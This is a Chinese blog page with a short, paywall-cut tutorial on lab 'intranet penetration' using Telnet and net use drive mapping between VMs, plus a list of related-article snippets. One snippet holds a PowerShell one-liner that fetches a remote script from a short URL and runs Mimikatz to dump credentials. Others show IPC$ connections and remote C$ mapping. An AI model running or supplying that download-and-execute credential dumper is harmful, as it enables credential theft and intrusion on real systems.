简单的“内网渗透”——Telnet服务和net use 映射

最新推荐文章于 2025-06-28 11:59:27 发布
最新推荐文章于 2025-06-28 11:59:27 发布
阅读量6.2k 收藏 10
点赞数 1
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/imagine_lion/article/details/64197339

1、Telnet 服务

实验环境：VMware win2003 和win 7环境下；

win03打开 telnet服务器 服务：-运行：services.msc  - 手动开启 telnet服务器 服务；

win07打开 控制面板-程序 - Windows服务 - 打开Telnet客户端 服务（07与2003开启服务方式不同；或者都用DOS窗口命令：net start telnet）

win7 DOS命令：Telnet ***.***.***.***(03的IP地址)；当然之后要输入03的 用户和密码；

效果图：

现在此DOS窗口如同win2003中的DOS窗口；


然后进行留后门操作（命令很多，我这里用图来代替）

最低0.47元/天 解锁文章

200万优质内容无限畅学
imagine_lion
关注
内网渗透-实战|手把手教你如何进行内网渗透
lza20001103的博客
08-18 2071
实战|手把手教你如何进行内网渗透 x00 Preface 内网渗透主要是基于前期外围打点getshell的webserver，通过收集webserver上的信息，然后对其他内网主机进行口令上的攻击，当然也有一些基于漏洞的攻击。 内网相关概念这里不再进行介绍，大家可以自行百度，诸如什么是域、域与工作组的区别、什么是DC、什么是AD等。当然，概念是生涩难懂的，结合实际环境会有助于理解。某内网靶场的详细教程：Vulnstack（一） 内网渗透过程中经常会涉及到内网穿透，如何理解内网穿透以及端口转发、端口映射等相关
内网渗透 IPC$ [空连接]
战神/calmness的博客
09-30 3031
IPC$概念 IPC$(Internet Process Connection)是共享”命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用； IPC$作用 利用IPC$,连接者甚至可以与目标主机建立一个连接，利用这个连接，连接者可以得到目标主机上的目录结构、用户列表等信息。 IPC$利用条件 139,445端口开启 ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用
001-内网渗透(DOS命令：net use k: \ip\c$)
fiveseven的博客
08-21 1666
001-内网渗透(DOS命令：net use k: \ip\c$)
网络映射命令net use用法
weixin_30629653的博客
12-15 1261
net use 列出本机网络连接net use \\IP\ipc$ "密码" /user:"帐号" 建立与指定IP的IPC$(空连接)net use z: \\IP\c$ "密码" /user:"帐号" 将对方的c盘映射为自己的z盘net use \\IP\ipc$ /del 删除与指定IP的IPC$连接net use z: /del 删除本机映射的z盘net use * /d...
干货 | 内网入侵溯源实战案例(非常详细）从零基础到精通，收藏这篇就够了！
最新发布
Javachichi的博客
06-28 933
1、在某次攻防演练中，笔前往客户现场进行内网入侵排查处置溯源工作。到达现场后，笔者惊讶地发现，客户唯一的安全设备是一台防火墙。在这种情况下，只能依赖这台防火墙进行深入的排查。在与客户进行了初步的交流后，他们指出了几台可能存在问题的服务器。在登录这些服务器后，发现都运行着Tomcat服务。于是，笔者决定从Tomcat的日志文件中寻找线索。2、经过长时间细致的排查，发现从凌晨0时39分起有大量的异常扫描行为在凌晨0时40分发现struts2命令执行漏洞被利用成功。
磁盘映射（Net use）
zhq3211的博客
08-11 8829
一、命令行创建“映射网络驱动器” – net use 方式一：通过IP 连接   --- IP.bat ------------------------------- Net use P: /del   Net use P: \\168.1.1.0\zhq3211   -------------------------------------------
内网渗透技巧
mirror97black的博客
04-04 601
通过powershell 运行mimikatz powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" 获取hash之后，解出明文密码 将目标机器共享盘映射到本地的h盘 net use h: \\ip\c$ "密码"...
使用net命令来映射网络驱动盘
通往OCM之路
05-18 1830
-- 断开一个已经映射的盘符，如Z:net use z: /delete -- 连接一个网络驱动盘，如Z:net use z: //target/software 
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
热门推荐
杨秀璋的专栏
02-21 2万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了微软证书漏洞（CVE-2020-0601），并详细讲解了Windows验证机制、可执行文件签名复现及HTTPS劫持。本文将分享另一个主题——Cracer教程，第一篇文章将详细讲解安全术语、Web渗透流程和Windows基础、注册表及黑客常用DOS命令。基础性文章，希望对您有所帮助。
关于Telnet 不通但抓包分析可达目标端口的问题处理
企业实战系列集 ●●● https://ximenjianxue.blog.youkuaiyun.com
10-30 1590
一、问题描述 某次Horizon环境中，某租户内网需要与某业务主机集成，租户内网主机A访问业务主机B，端口5703和http都正常，但外网telnet和http访问均异常，抓包分析，发现只有SYNSENT 请求可达，但无ACk+SYN确认连接响应。 案例参考：linux系统收到SYN但不回SYN+ACK。 二、问题分析： 1）NSX-edge上测试NAT映射有效性，排除映射端口策略不生效问题； 2）内网地址telnet 内网IP 5703 ，确认端口可达，即目标主机网络可访问，应该不会出现防火墙问题，结合本
windows net use 把共享目录映射为本地磁盘
thanklife的专栏
03-11 1万+
@echo off net use Z: \\newshare\SoftwareSvr 最近看到公司电脑运维提供一个“把共享目录映射为本地磁盘“”的操作的bat，打开内容查看如上。 经过搜索查到才明白：newshare是一个电脑的名称，SoftwareSvr是一个共享目录，为了更容易理解：就是把\\IP\\SoftwareSvr共享目录映射为本地一个磁盘Z。 关于net use的命令帮助如下： net use /help 此命令的语法是: NET USE [devicename | *] [.
windows中添加网络映射
weixin_53389944的博客
06-21 1845
命令添加到启动脚本中，或者使用Windows资源管理器中的“映射网络驱动器”功能来永久保留网络映射。共享文件夹的一个映射。请注意，你可能需要提供用户名和密码来访问远程共享文件夹，可以使用。命令允许将远程共享文件夹映射为本地驱动器。执行完这条命令后，你将在资源管理器中看到一个新的。如果想要在每次启动时都保持网络映射，可以将。驱动器，它实际上是指向远程计算机上的。在Windows中，可以使用。命令来添加网络映射。例如，要将远程计算机。
内网渗透篇-信息收集
qax
04-14 5651
内网渗透命令大全，内网信息收集
net use命令详解_net use命令详解
weixin_39997310的博客
12-03 1万+
net use命令详解net：网络use：使用devicename：设备名称volume：卷username：用户名dotted：有点的SMARTCARD：智能卡SAVECRED：用用户以前保存的凭据PERSISTENT：持久的IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连...
内网渗透测试:内网横向移动基础总结
zhangge3663的博客
10-27 5133
作者：WHOAMI，转载于freebuf。 横向移动 在内网渗透中，当攻击者获取到内网某台机器的控制权后，会以被攻陷的主机为跳板，通过收集域内凭证等各种方法，访问域内其他机器，进一步扩大资产范围。通过此类手段，攻击者最终可能获得域控制器的访问权限，甚至完全控制基于Windows操作系统的整个内网环境，控制域环境下的全部机器。 在这篇文章中，我们来 讲解一下横向移动的思路与攻击手法。 由于最近开学了有很多很多的事，所以一直没有时间更新，文章可能略显仓促，不足之处还请多多指教。 本文大多是我最近
内网渗透(telnet爆破)
m0_46684679的博客
07-27 5415
python实现变位词 文章目录前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。 提示：以下是本篇文章正文内容，下面案例可供参考 一、pandas是什么？ 示例：pandas 是基于NumPy 的一种工具，该工具是为了解决数据分析任务而创建的。 二、使用步骤 1.引入库 代码如下（示例）： import numpy
内网渗透初探 | 小白简单学习内网渗透
喜欢Python编程的程序员柚柚呀
02-06 951
原文作者：ajie原文地址：https://xz.aliyun.com/t/104390x01 基础知识内网渗透，从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个Webshell，可以是低权限的Webshell，因为可以通过提权获取高权限。在进行内网渗透之前需要了解一个概念，域环境。在内网中，往往可能存在几百上千台机器，例如需要对机器进行升级、打补丁、设置权限等，管理员不可能一台一台地更新修改。因此便衍生出了域环境。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值